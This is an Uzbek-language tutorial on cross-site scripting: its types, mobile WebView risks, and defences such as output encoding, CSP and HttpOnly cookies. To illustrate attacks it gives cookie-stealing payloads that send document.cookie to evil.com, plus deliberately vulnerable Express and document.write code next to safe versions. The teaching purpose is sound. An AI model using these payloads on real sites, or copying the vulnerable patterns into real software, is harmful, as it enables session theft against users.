XSS — bu nima, hujum turlari va himoya usullari

XSS nima?

XSS (Cross-Site Scripting) — bu hujumchiga JavaScript kodini web sahifaga joylashtirish imkonini beradigan zaiflik bo'lib, keyinchalik bu kod qurbon brauzerida bajariladi. Brauzer sahifani ishonchli saytdan yuklaydi va joylashtirilgan skriptni saytning qonuniy kodi bilan bir xil huquqlar bilan bajaradi. Bu hujumchiga cookie, session storage, sahifa DOM daraxtiga kirish va qurbon nomidan so'rovlar yuborish imkoniyatini beradi. XSS zaifliklari ilova foydalanuvchi ma'lumotlarini HTML sahifasiga tegishli ekranlashsiz yoki validatsiyasiz kiritganda yuzaga keladi.

XSS tarixi va dolzarbligi

Cross-Site Scripting atamasi birinchi marta 2000 yilda Microsoft Security Bulletin'da paydo bo'lgan. So'nggi 25 yil ichida XSS dolzarbligini yo'qotmagan: HackerOne (2025) ma'lumotlariga ko'ra, XSS platformadagi barcha qayd etilgan zaifliklarning taxminan 22% ni tashkil qiladi. XSSning bardoshlligi sababi foydalanuvchi ma'lumotlarining barcha kirish nuqtalarini nazorat qilishning murakkabligidir. Har qanday kiritish maydoni, URL parametri, HTTP so'rov sarlavhasi yoki fayl nomi, agar ma'lumotlar qayta ishlanmasdan HTML kodida aks ettirilsa, hujum vektoriga aylanishi mumkin.

XSS qanday zarar keltiradi?

XSS hujumlari sessiya cookie-larining o'g'irlanishiga olib kelishi mumkin, bu esa hujumchiga parolsiz qurbon hisobiga kirish imkonini beradi. Boshqa oqibatlar: fishing saytlariga yo'naltirish, sahifa mazmunini almashtirish, shaxsiy ma'lumotlarni o'g'irlash, zararli dasturiy ta'minotni o'rnatish (drive-by download). 2023 yilda Salesforce Community Cloud platformasiga XSS orqali hujum minglab korporativ mijozlarning ma'lumotlariga ta'sir ko'rsatdi va hatto yirik platformalar ham bu zaiflikdan himoyalanmaganligini ko'rsatdi.

XSS hujum turlari

XSS tasnifi hujumlarni zararli kodni yetkazib berish usuliga ko'ra uch asosiy turga ajratadi. Har bir tur himoyaga turlicha yondashishni talab qiladi: Stored XSS ma'lumotlar bazasidan chiqishni ekranlash bilan, Reflected — URL parametrlarini ekranlash bilan, DOM-based — DOM-API bilan xavfsiz ishlash bilan bloklanadi. Farqni tushunish samarali xavfsizlik strategiyasining asosidir.

Stored XSS (doimiy)

Eng xavfli XSS turi. Hujumchi skriptni server ma'lumotlar bazasida saqlaydigan va har bir sahifa yuklanganda ko'rsatadigan ma'lumotlarga joylashtiradi. Odatdagi vektor — sharh maydoni: hujumchi <script>document.location='https://evil.com/?c='+document.cookie</script> bilan sharh nashr qiladi. Ushbu sharh bilan sahifani yuklaydigan har bir foydalanuvchi o'z cookie-larini hujumchiga yuboradi. Stored XSS qurbondan sahifani tashrif buyurishdan boshqa hech qanday harakat talab qilmaydi — bu uni ayniqsa ijtimoiy tarmoqlar, forumlar va bloglar uchun xavfli qiladi.

Reflected XSS (aks ettirilgan)

Zararli skript HTTP so'rovida (odatda URL parametrida) uzatiladi va darhol server tomonidan javobda aks ettiriladi. Hujumchi https://example.com/search?q=<script>...</script> ko'rinishidagi havolani yaratadi va uni fishing, ijtimoiy tarmoqlar yoki elektron pochta orqali tarqatadi. Havolani bosgan qurbon, kiritilgan qidiruv so'rovi (skript) ekranlanmagan holda ko'rsatilgan sahifani oladi. Reflected XSS ijtimoiy muhandislikni talab qiladi — qurbon havolani bosishi kerak, bu xavfni kamaytiradi, lekin bartaraf etmaydi.

DOM-based XSS

Stored va Reflected dan farqli o'laroq, DOM-based XSS serverga ma'lumot yuborishni talab qilmaydi. Zaiflik mijoz JavaScripti URL, document.referrer, postMessage yoki localStorage dan foydalanuvchi ma'lumotlarini xavfsiz qayta ishlanmasdan DOM-ga kiritganda yuzaga keladi. Masalan, document.getElementById('output').innerHTML = location.hash.substring(1) ko'rinishidagi kod URL fragmentidan (#<img onerror='...'>) istalgan HTML va skriptlarni bajaradi. DOM-based XSS eng qiyin aniqlanadigan tur, chunki server hech qachon zararli payloadni qabul qilmaydi — u to'liq mijoz tomonida qayta ishlanadi.

// DOM-based XSS namunasi (ZAIF KOD)
// Agar userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — xavfli: xom HTML kiritadi
document.write('<div>' + userInput + '</div>');

// XAVFSIZ MUQOBIL — textContent dan foydalaning
document.getElementById('output').textContent = userInput;

XSS hujumi qanday ishlaydi?

XSS hujumi internetning asosiy xususiyatidan foydalanadi: brauzer ishonchli domendan olingan JavaScriptni bajaradi. Agar hujumchi o'z kodini serverning HTML javobiga joylashtirish yo'lini topsa, brauzer uni bir xil huquqlar bilan qonuniy kod kabi bajaradi. Hujum uch bosqichdan o'tadi: zararli kodni tarkibga joylashtirish, tarkibni qurbon brauzeriga yetkazish va DOM, cookie va storage-ga kirish bilan kodni bajarish.

Joylashtirish bosqichi

Hujumchi kirish nuqtasini topadi — qiymati server tomonidan ekranlanmagan holda HTML javobiga kiritiladigan maydon, URL parametri yoki sarlavha. Odatdagi kirish nuqtalari: qidiruv satrlari, sharh maydonlari, foydalanuvchi nomi, avatar URL, cookie fayllari, HTTP sarlavhalari (User-Agent, Referer). Zamonaviy freymvorklar (React, Angular, Vue) avtomatik ravishda chiqishni ekranlaydi, ammo dasturchilar dangerouslySetInnerHTML, bypassSecurityTrustHtml yoki v-html orqali ekranlashni o'chirib qo'yishlari mumkin.

Yetkazib berish bosqichi

Reflected XSS uchun hujumchi zararli havolani tarqatadi. Stored XSS uchun tarkibni nashr qilish kifoya va sahifaning har bir tashrifchisi qurbon bo'ladi. DOM-based XSS ma'lum URL fragmenti bilan sahifa yuklanganda faollashadi. Uch bosqichning barchasi avtomatik bajarilishi mumkin: agar XSS reklama bannerida (uchinchi tomon tarkibi) aniqlansa, hujum banner o'chirilgunga qadar saytning barcha foydalanuvchilariga ta'sir qiladi.

// Qidiruvda Reflected XSS namunasi (ZAIF BACKEND)
// Q parametrini ekranlash o'rniga, server uni HTML ga kiritadi

// Express.js — zaif ishlov beruvchi:
app.get('/search', (req, res) => {
    const query = req.query.q; // foydalanuvchi kiritishi
    res.send(`<h1>Results for: ${query}</h1>`);
});

// XAVFSIZ VERSIYA — encodeURI yoki shablon muharriri orqali ekranlash:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

Mobil ilovalarda XSS

Mobil ilovalar ham XSS hujumlariga duchor bo'ladi, garchi web saytlarga qaraganda kamroq darajada. Asosiy vektor WebView va gibrid freymvorklardir (Cordova, Capacitor, React Native WebView bilan). Agar ilova WebView'da web tarkibni yuklasa — ayniqsa foydalanuvchi tarkibi (HTML elektron xatlar, maqolalar, xabarlar) — XSS zaifligi JavaScript ko'prigi orqali mahalliy funksiyalarga kirish bilan ilova ichida JavaScript bajarilishiga olib kelishi mumkin.

Android WebView'da XSS

Android WebView sukut bo'yicha JavaScriptni bajaradi. Agar ilova HTML qatorini loadDataWithBaseURL() orqali yuklasa yoki foydalanuvchi tarkibini ko'rsatsa, XSS hujumi hujumchiga JavaScript interfeysiga (addJavascriptInterface) kirish imkonini berishi mumkin. Google API < 17 uchun @JavascriptInterface dan foydalanishni taqiqlagan, ammo eski ilovalarda legacy kod hali ham uchraydi. Himoya: WebView'da JavaScript kerak bo'lmasa, o'chiring va xavfsiz ko'rishdan foydalaning.

React Native va Flutter'da XSS

React Native UI uchun WebView dan foydalanmaydi — komponentlar mahalliy ko'rinishlarda renderlanadi. Biroq react-native-webview yoki rich-text komponentlari orqali HTML ko'rsatilganda XSS xavfi qaytadi. Flutter o'z render muharriridan (Skia) foydalanadi va HTML vidjetlarida JavaScriptni qo'llab-quvvatlamaydi (flutter_html script teglarini bajarmaydi), ammo WebView plaginlari (webview_flutter) mahalliy WebView'lar kabi zaifdir. Eng yaxshi amaliyot — hech qachon tekshirilmagan HTMLni WebView'ga uzatmang.

• JavaScriptni o'chiring WebView'da, agar tarkib interaktivlikni talab qilmasa
• CSP sarlavhalaridan foydalaning WebView'da skript manbalarini cheklash uchun
• HTMLni sanitisatsiya qiling WebView'ga yuklashdan oldin: script teglari va hodisa boshqaruvchilarini olib tashlang
• addJavascriptInterface dan foydalanmang Androidda kiruvchi ma'lumotlarni qattiq tekshirmasdan

// Android'da WebView ni xavfsiz sozlash
val webView = findViewById<WebView>(R.id.webview)

// Agar interaktivlik kerak bo'lmasa, JavaScriptni o'chiramiz
webView.settings.javaScriptEnabled = false

// Yuklashdan oldin HTML ni sanitisatsiya qilamiz
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS oldini olish usullari

XSS dan himoya uch prinsipga asoslanadi: foydalanuvchi kiritishiga ishonma, chiqishdan oldin ekranla, Content Security Policy dan foydalan. Chiqishni ekranlash (output encoding) — eng muhim usul: foydalanuvchidan olingan barcha ma'lumotlar HTML, JavaScript, CSS yoki URL ga kiritishdan oldin ekranlanishi kerak. Zamonaviy shablon muharrirlari (Twig, Handlebars, JSX, Blade) buni avtomatik bajaradi, agar dasturchi ekranlashni maxsus usullar bilan o'chirmasa.

Kontekstual ekranlash

Ekranlash ma'lumotni kiritish kontekstiga bog'liq. HTML kontekstida <, >, &, qo'shtirnoqlar ekranlanadi. JavaScript kontekstida teskari tirnoqlar, , </script> ekranlanadi. CSS kontekstida — boshqaruv belgilari. URL kontekstida — URL kodlash. Kontekst xatosi — masalan, HTML ekranlangan qatorni onclick atributiga kiritish — XSS dan himoya qilmaydi, chunki onclick JavaScript kontekstida bajariladi va boshqa ekranlashni talab qiladi.

Content Security Policy (CSP)

CSP — brauzer skriptlar, stillar va boshqa resurslarni yuklashi mumkin bo'lgan manbalarni cheklaydigan HTTP sarlavhasi. Qattiq CSP (unsafe-inline, unsafe-eval siz) XSS vektorlarini ham o'z ichiga olgan har qanday inline skriptlarning bajarilishini bloklaydi. Google Security Blog (2025) ma'lumotlariga ko'ra, CSP ga ega saytlar XSS hujumlarining 95% ini bloklaydi. Misol: Content-Security-Policy: default-src 'self'; script-src 'self' har qanday tashqi va inline skriptlarni taqiqlaydi. CSP bir xil domendan skript yuklansa, Stored XSS dan himoya qilmaydi, ammo bu hujumchidan qo'shimcha kuch talab qiladi.

HttpOnly va Secure cookie

Cookie uchun HttpOnly bayrog'ini o'rnatish ularga JavaScript orqali (document.cookie) kirishni oldini oladi, bu esa XSS orqali sessiya cookie-larining o'g'irlanishini bloklaydi. Secure bayrog'i cookie faqat HTTPS orqali uzatilishini kafolatlaydi. HttpOnly + Secure + SameSite=Lax kombinatsiyasi XSS orqali sessiya cookie-larining o'g'irlanishini amalda imkonsiz qiladi. Biroq, XSS hali ham foydalanuvchi nomidan harakatlar bajarishi mumkin (masalan, so'rovlar yuborish), shuning uchun HttpOnly panatseya emas, balki kompleks himoyaning bir qismidir.

XSS aniqlash vositalari

XSS uchun muntazam test qilish xavfsiz ishlab chiqish CI/CD pipeline'ining majburiy qismidir. Avtomatlashtirilgan skanerlar XSS zaifliklarining 80% gacha topadi, qolganlari qo'lda pentest talab qiladi. Eng yaxshi yondashuv SAST tahlili (statik), DAST skanerlash (dinamik) va foydalanuvchi ma'lumotlarining kirish nuqtalariga e'tibor qaratadigan kod ko'rib chiqishning kombinatsiyasidir.

• OWASP ZAP — bepul DAST skaneri, web ilovalarda XSS ni avtomatik topadi
• Burp Suite Professional — Active Scan va Intruder bilan XSS uchun ilg'or vosita
• XSStrike — payloadlar yaratish bilan XSS uchun ixtisoslashtirilgan skaner
• ESLint-plugin-security — xavfli naqshlar uchun React/JSX ning statik tahlili
• Google Observatory — CSP sarlavhalari va XSS bilan bog'liq konfiguratsiyalarni tekshirish

Mobil ilovalar uchun XSS testi WebView tahlilini o'z ichiga oladi: JavaScript interfeyslarini tekshirish, URL sxemalarini qayta ishlash va HTMLni loadDataWithBaseURL ga uzatish. Gibrid ilovalarda postMessage ni qayta ishlashni va JavaScript ko'prigi orqali qanday ma'lumotlar uzatilishini tekshirish tavsiya etiladi. Mobil ilova trafigini ushlash va o'zgartirish uchun proksili (Burp Suite) emulyatordan foydalaning.